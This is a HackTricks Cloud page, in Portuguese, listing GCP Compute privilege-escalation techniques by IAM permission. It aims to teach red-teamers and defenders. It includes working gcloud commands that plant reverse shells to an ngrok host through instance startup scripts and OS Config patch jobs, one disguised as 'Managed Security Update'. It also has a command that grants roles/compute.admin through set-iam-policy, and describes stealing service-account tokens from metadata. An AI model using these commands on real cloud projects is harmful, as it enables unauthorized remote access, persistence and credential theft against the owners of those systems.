GCP - Compute Privesc
Reading time: 6 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Compute
Para mais informações sobre Compute e VPC (rede) no GCP, consulte:
caution
Note que para realizar todos os ataques de escalonamento de privilégios que requerem modificar os metadados da instância (como adicionar novos usuários e chaves SSH) é necessário que você tenha permissões actAs
sobre a SA anexada à instância, mesmo que a SA já esteja anexada!
compute.projects.setCommonInstanceMetadata
Com essa permissão, você pode modificar as informações de metadados de uma instância e alterar as chaves autorizadas de um usuário, ou criar um novo usuário com permissões sudo. Portanto, você poderá executar via SSH em qualquer instância de VM e roubar a Conta de Serviço do GCP com a qual a Instância está sendo executada.
Limitações:
- Note que as Contas de Serviço do GCP executando em instâncias de VM por padrão têm um escopo muito limitado
- Você precisará ser capaz de contatar o servidor SSH para fazer login
Para mais informações sobre como explorar essa permissão, consulte:
Você também pode realizar esse ataque adicionando um novo script de inicialização e reiniciando a instância:
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'
gcloud compute instances reset my-vm-instance
compute.instances.setMetadata
Esta permissão concede os mesmos privilégios que a permissão anterior, mas sobre instâncias específicas em vez de um projeto inteiro. Os mesmos exploits e limitações da seção anterior se aplicam.
compute.instances.setIamPolicy
Esse tipo de permissão permitirá que você conceda a si mesmo um papel com as permissões anteriores e escale privilégios abusando delas. Aqui está um exemplo adicionando roles/compute.admin
a uma Conta de Serviço:
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE
cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF
gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE
compute.instances.osLogin
Se OSLogin estiver habilitado na instância, com esta permissão você pode apenas executar gcloud compute ssh [INSTANCE]
e se conectar à instância. Você não terá privilégios de root dentro da instância.
tip
Para fazer login com sucesso com esta permissão dentro da instância VM, você precisa ter a permissão iam.serviceAccounts.actAs
sobre a SA anexada à VM.
compute.instances.osAdminLogin
Se OSLogin estiver habilitado na instância, com esta permissão você pode apenas executar gcloud compute ssh [INSTANCE]
e se conectar à instância. Você terá privilégios de root dentro da instância.
tip
Para fazer login com sucesso com esta permissão dentro da instância VM, você precisa ter a permissão iam.serviceAccounts.actAs
sobre a SA anexada à VM.
compute.instances.create
,iam.serviceAccounts.actAs, compute.disks.create
, compute.instances.create
, compute.instances.setMetadata
, compute.instances.setServiceAccount
, compute.subnetworks.use
, compute.subnetworks.useExternalIp
É possível criar uma máquina virtual com uma Conta de Serviço atribuída e roubar o token da conta de serviço acessando os metadados para escalar privilégios para ela.
O script de exploração para este método pode ser encontrado aqui.
osconfig.patchDeployments.create
| osconfig.patchJobs.exec
Se você tiver as permissões osconfig.patchDeployments.create
ou osconfig.patchJobs.exec
, você pode criar um trabalho de patch ou implantação. Isso permitirá que você se mova lateralmente no ambiente e ganhe execução de código em todas as instâncias de computação dentro de um projeto.
Observe que no momento você não precisa da permissão actAs
sobre a SA anexada à instância.
Se você quiser explorar isso manualmente, precisará criar um trabalho de patch ou implantação.
Para um trabalho de patch execute:
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF
gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh
# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance
gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s
Para implantar uma implantação de patch:
gcloud compute os-config patch-deployments create <name> ...
A ferramenta patchy poderia ter sido usada no passado para explorar essa má configuração (mas agora não está funcionando).
Um atacante também poderia abusar disso para persistência.
compute.machineImages.setIamPolicy
Conceda a si mesmo permissões extras para a Imagem de computação.
compute.snapshots.setIamPolicy
Conceda a si mesmo permissões extras para um snapshot de disco.
compute.disks.setIamPolicy
Conceda a si mesmo permissões extras para um disco.
Bypass Access Scopes
Seguindo este link você encontra algumas ideias para tentar contornar os escopos de acesso.
Escalação de Privilégios Local em instância GCP Compute
GCP - local privilege escalation ssh pivoting
Referências
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.